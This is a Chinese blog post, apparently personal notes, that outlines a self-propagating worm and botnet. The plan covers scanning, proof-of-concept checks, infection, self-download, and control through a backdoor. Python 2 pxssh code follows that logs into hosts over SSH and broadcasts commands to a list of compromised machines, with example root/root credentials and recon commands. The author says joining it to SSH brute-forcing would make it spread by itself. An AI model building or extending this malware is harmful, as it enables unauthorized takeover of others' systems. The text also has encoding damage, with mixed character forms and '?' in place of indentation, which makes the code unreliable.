先記錄一下我自己像寫的一個超級大木馬蠕蟲的思路。請自行忽略
1.本機電腦掃描探測其他電腦
2.使用poc驗證是否存在漏洞,同時檢測是否已經(jīng)被感染
3.如果都滿足,感染未感染同時又存在漏洞的機子。
4.感染后的機子下載代碼。繼續(xù)以上過程(這樣是一臺控制幾臺,幾臺又控制幾臺,可以開幾臺,形成循環(huán)。而且不互相知道)
5.如何控制自己的這種僵尸網(wǎng)絡(luò)呢?(開一個特殊的后門)發(fā)送一條指令,一傳十,十傳百。主機信息怎么傳遞,可傳輸指令,運行g(shù)ithub上的惡意代碼,交替運行,由控制端隨機選擇哪幾臺機器運行?
正題:
1.正常的僵尸網(wǎng)絡(luò),是一臺機器控制所有的肉雞。
這里用一個全局變量BotNet=[]記錄所有的肉雞對象
用addClient()向BotNet里添加新的肉雞
botnetCommand()是給新加的肉雞指令。
定義一個client,就代表這一個肉雞,可以連接一臺遠程的機器,并在本地執(zhí)行命令。
?
這段代碼并不是木馬蠕蟲,并不能實現(xiàn)自動傳播。如果要實現(xiàn)自動傳播,還需要和之前的暴力破解ssh結(jié)合在一起,修改代碼。
client
代碼:
from pexpect import pxssh
import getopt
class Client():
? ? def __init__(self,host,user,password):
? ? ? ? self.host=host
? ? ? ? self.user=user
? ? ? ? self.password=password
? ? ? ? self.session=self.connect()
? ? def connect(self):
? ? ? ? try:
? ? ? ? ? ? s=pxssh.pxssh()
? ? ? ? ? ? s.login(self.host,self.user,self.password)
? ? ? ? ? ? return s
? ? ? ? except Exception as e:
? ? ? ? ? ? print str(e)
? ? ? ? ? ? return "Error Connection"
? ? def send_command(self,cmd):
? ? ? ? self.session.sendline(cmd)
? ? ? ? self.session.prompt()
? ? ? ? return self.session.before
botNet=[]
def addClient(host,user,password):
? ? client=Client(host,user,password)
? ? botNet.append(client)
def botNetCommand(command):
? ? for client in botNet:
? ? ? ? output=client.send_command(command)
? ? ? ? print "output from"+client.host
? ? ? ? print "[+]"+output+"\n"
addClient('192.168.10.154','root','root')
botNetCommand('uname -v')
botNetCommand('cat /etc/issue')
更多文章、技術(shù)交流、商務(wù)合作、聯(lián)系博主
微信掃碼或搜索:z360901061

微信掃一掃加我為好友
QQ號聯(lián)系: 360901061
您的支持是博主寫作最大的動力,如果您喜歡我的文章,感覺我的文章對您有幫助,請用微信掃描下面二維碼支持博主2元、5元、10元、20元等您想捐的金額吧,狠狠點擊下面給點支持吧,站長非常感激您!手機微信長按不能支付解決辦法:請將微信支付二維碼保存到相冊,切換到微信,然后點擊微信右上角掃一掃功能,選擇支付二維碼完成支付。
【本文對您有幫助就好】元
